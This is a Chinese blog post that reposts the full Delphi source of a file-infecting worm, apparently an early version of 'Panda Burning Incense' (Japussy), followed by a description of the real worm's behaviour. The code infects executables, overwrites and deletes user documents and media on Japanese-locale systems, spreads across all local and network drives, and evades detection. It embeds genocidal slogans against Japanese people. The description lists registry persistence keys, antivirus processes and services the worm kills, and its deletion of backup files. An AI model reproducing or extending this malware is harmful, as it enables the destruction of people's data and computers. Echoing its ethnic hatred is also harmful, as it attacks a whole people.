今天在OSC看到有人共享熊猫烧香的源码,用Delphi写的,真的是跨平台啊,犹对Japanese操作系统破坏最甚,字里行间留露出作者的愤青情绪啊,大体的看了下,主要是通过拷贝到Windows系统目录中,注册表添加自启动的蠕虫病毒,通过VB调用Windows的Outlook发送邮件,进而达到传播病毒,原始的病毒是将exe的图标改成熊猫烧香的图标,并没有其他功效,真正破坏性的都是后期制作的。
随着编程语言的简化和提高,写个病毒当个骇客,再也不是梦了,主要你要了解病毒是怎么传播的,如何保证自己不会被轻易的杀掉,对Windows的漏洞也要有很深的研究,这样才能写出一个骇人听闻的病毒,但是写出来也不要张扬,自己娱乐下就好了,被他人恶意利用可不是闹着玩的。
不禁想起了之前微软的一个严重漏洞,迟迟四年也没有发现,漏洞是当OS连续运行49天之后会死机,为什么没有发现呢,因为其他的漏洞导致os还未运行就么久就已经死了,原因是每毫米加衣的计时器,在49天之后,int型就溢出了,导致系统崩溃。
随便说说,看下源码,留着以后研究:
program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; //病毒体的大小 IconOffset = $12EB8; //PE文件主图标的偏移量 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize = $2E8; //PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 ID = $44444444; //感染标记 //垃圾码,以备写入 Catchword = ''''''''''''''''If a race need to be killed out, it must be Yamato. '''''''''''''''' + ''''''''''''''''If a country need to be destroyed, it must be Japan! '''''''''''''''' + ''''''''''''''''*** W32.Japussy.Worm.A ***''''''''''''''''; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external ''''''''''''''''Kernel32.dll''''''''''''''''; //函数声明 var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True; end; { 在流之间复制 } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; { 将宿主文件从已感染的PE文件中分离出来,以备使用 } procedure ExtractFile(FileName: string); var sStream, dStream: TFileStream; begin try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end; except end; end; { 填充STARTUPINFO结构 } procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil; end; { 发带毒邮件 } procedure SendMail; begin //哪位仁兄愿意完成之? end; { 感染PE文件 } procedure InfectOneFile(FileName: string); var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array[0..1] of Char; begin try //出错则文件正在被使用,退出 if CompareText(FileName, ''''''''''''''''JAPUSSY.EXE'''''''''''''''') = 0 then //是自己则不感染 Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节),存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end; except; end; end; { 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName: string); var FileHandle: Integer; i, Size, Mass, Max, Len: Integer; begin try SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 try Size := GetFileSize(FileHandle, nil); //文件大小 i := 0; Randomize; Max := Random(15); //写入垃圾码的随机次数 if Max < 5 then Max := 5; Mass := Size div Max; //每个间隔块的大小 Len := Length(Catchword); while i < Max do begin FileSeek(FileHandle, i * Mass, 0); //定位 //写入垃圾码,将文件彻底破坏掉 FileWrite(FileHandle, Catchword, Len); Inc(i); end; finally FileClose(FileHandle); //关闭文件 end; DeleteFile(PChar(FileName)); //删除之 except end; end; { 获得可写的驱动器列表 } function GetDrives: string; var DiskType: Word; D: Char; Str: string; i: Integer; begin for i := 0 to 25 do //遍历26个字母 begin D := Chr(i + 65); Str := D + '''''''''''''''':\''''''''''''''''; DiskType := GetDriveType(PChar(Str)); //得到本地磁盘和网络盘 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D; end; end; { 遍历目录,感染和摧毁文件 } procedure LoopFiles(Path, Mask: string); var i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg; function IsValidDir(SearchRec: TSearchRec): Integer; begin if (SearchRec.Attr <> 16) and (SearchRec.Name <> ''''''''''''''''.'''''''''''''''') and (SearchRec.Name <> ''''''''''''''''..'''''''''''''''') then Result := 0 //不是目录 else if (SearchRec.Attr = 16) and (SearchRec.Name <> ''''''''''''''''.'''''''''''''''') and (SearchRec.Name <> ''''''''''''''''..'''''''''''''''') then Result := 1 //不是根目录 else Result := 2; //是根目录 end; begin if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑 if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = ''''''''''''''''.EXE'''''''''''''''') or (Ext = ''''''''''''''''.SCR'''''''''''''''') then begin InfectOneFile(Fn); //感染可执行文件 end else if (Ext = ''''''''''''''''.HTM'''''''''''''''') or (Ext = ''''''''''''''''.HTML'''''''''''''''') or (Ext = ''''''''''''''''.ASP'''''''''''''''') then begin //感染HTML和ASP文件,将Base64编码后的病毒写入 //感染浏览此网页的所有用户 //哪位大兄弟愿意完成之? end else if Ext = ''''''''''''''''.WAB'''''''''''''''' then //Outlook地址簿文件 begin //获取Outlook邮件地址 end else if Ext = ''''''''''''''''.ADC'''''''''''''''' then //Foxmail地址自动完成文件 begin //获取Foxmail邮件地址 end else if Ext = ''''''''''''''''IND'''''''''''''''' then //Foxmail地址簿文件 begin //获取Foxmail邮件地址 end else begin if IsJap then //是倭文操作系统 begin if (Ext = ''''''''''''''''.DOC'''''''''''''''') or (Ext = ''''''''''''''''.XLS'''''''''''''''') or (Ext = ''''''''''''''''.MDB'''''''''''''''') or (Ext = ''''''''''''''''.MP3'''''''''''''''') or (Ext = ''''''''''''''''.RM'''''''''''''''') or (Ext = ''''''''''''''''.RA'''''''''''''''') or (Ext = ''''''''''''''''.WMA'''''''''''''''') or (Ext = ''''''''''''''''.ZIP'''''''''''''''') or (Ext = ''''''''''''''''.RAR'''''''''''''''') or (Ext = ''''''''''''''''.MPEG'''''''''''''''') or (Ext = ''''''''''''''''.ASF'''''''''''''''') or (Ext = ''''''''''''''''.JPG'''''''''''''''') or (Ext = ''''''''''''''''.JPEG'''''''''''''''') or (Ext = ''''''''''''''''.GIF'''''''''''''''') or (Ext = ''''''''''''''''.SWF'''''''''''''''') or (Ext = ''''''''''''''''.PDF'''''''''''''''') or (Ext = ''''''''''''''''.CHM'''''''''''''''') or (Ext = ''''''''''''''''.AVI'''''''''''''''') then SmashFile(Fn); //摧毁文件 end; end; end; //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑 Sleep(200); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); SubDir := TStringList.Create; if (FindFirst(Path + ''''''''''''''''*.*'''''''''''''''', faDirectory, SearchRec) = 0) then begin repeat if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do LoopFiles(Path + SubDir.Strings + ''''''''''''''''\'''''''''''''''', Mask); FreeAndNil(SubDir); end; { 遍历磁盘上所有的文件 } procedure InfectFiles; var DriverList: string; i, Len: Integer; begin if GetACP = 932 then //日文操作系统 IsJap := True; //去死吧! DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环 begin for i := Len downto 1 do //遍历每个磁盘驱动器 LoopFiles(DriverList + '''''''''''''''':\'''''''''''''''', ''''''''''''''''*.*''''''''''''''''); //感染之 SendMail; //发带毒邮件 Sleep(1000 * 60 * 5); //睡眠5分钟 end; end; { 主程序开始 } begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程 //哪位兄台愿意完成之? end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr(0)), ''''''''''''''''Japussy.exe'''''''''''''''') = 0 then InfectFiles //感染和发邮件 else //已寄生于宿主程序上了,开始工作 begin TmpFile := ParamStr(0); //创建临时文件 Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + ''''''''''''''''.exe''''''''''''''''; //真正的宿主文件,多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, ''''''''''''''''.'''''''''''''''', Si, Pi); //创建新进程运行之 InfectFiles; //感染和发邮件 end; end.
原理
“熊猫烧香”,这是一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。
1:拷贝文件
病毒运行后,会把自己拷贝到C:\WINDOWS\System32\Drivers\spoclsv.exe
2:添加注册表自启动
病毒会添加自启动项HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe
3:病毒行为
a:每隔1秒寻找桌面窗口,并关闭窗口标题中含有以下字符的程序:
QQKav、QQAV、防火墙、进程、VirusScan、网镖、杀毒、毒霸、瑞星、江民、黄山IE、超级兔子、优化大师、木马克星、木马清道夫、QQ病毒、注册表编辑器、系统配置实用程序、卡巴斯基反病毒、Symantec AntiVirus、Duba、esteem proces、绿鹰PC、密码防盗、噬菌体、木马辅助查找器、System Safety Monitor、Wrapped gift Killer、Winsock Expert、游戏木马检测大师、msctls_statusbar32、pjf(ustc)、IceSword
并使用的键盘映射的方法关闭安全软件IceSword
添加注册表使自己自启动 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe
并中止系统中以下的进程:
Mcshield.exe、VsTskMgr.exe、naPrdMgr.exe、UpdaterUI.exe、TBMon.exe、scan32.exe、Ravmond.exe、CCenter.exe、RavTask.exe、Rav.exe、Ravmon.exe、RavmonD.exe、RavStub.exe、KVXP.kxp、kvMonXP.kxp、KVCenter.kxp、KVSrvXP.exe、KRegEx.exe、UIHost.exe、TrojDie.kxp、FrogAgent.exe、Logo1_.exe、Logo_1.exe、Rundl132.exe
b:每隔18秒点击病毒作者指定的网页,并用命令行检查系统中是否存在共享,共存在的话就运行net share命令关闭admin$共享
c:每隔10秒下载病毒作者指定的文件,并用命令行检查系统中是否存在共享,共存在的话就运行net share命令关闭admin$共享
d:每隔6秒删除安全软件在注册表中的键值
并修改以下值不显示隐藏文件 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL CheckedValue -> 0x00
删除以下服务:
navapsvc、wscsvc、KPfwSvc、SNDSrvc、ccProxy、ccEvtMgr、ccSetMgr、SPBBCSvc、Symantec Core LC、NPFMntor MskService、FireSvc
e:感染文件
病毒会感染扩展名为exe,pif,com,src的文件,把自己附加到文件的头部,并在扩展名为htm,html, asp,php,jsp,aspx的文件中添加一网址,用户一但打开了该文件,IE就会不断的在后台点击写入的网址,达到增加点击量的目的,但病毒不会感染以下文件夹名中的文件:
WINDOW、Winnt、System Volume Information、Recycled、Windows NT、WindowsUpdate、Windows Media Player、Outlook Express、Internet Explorer、NetMeeting、Common Files、ComPlus Applications、Messenger、InstallShield Installation Information、MSN、Microsoft Frontpage、Movie Maker、MSN Gamin Zone
g:删除文件
病毒会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件使用户的系统备份文件丢失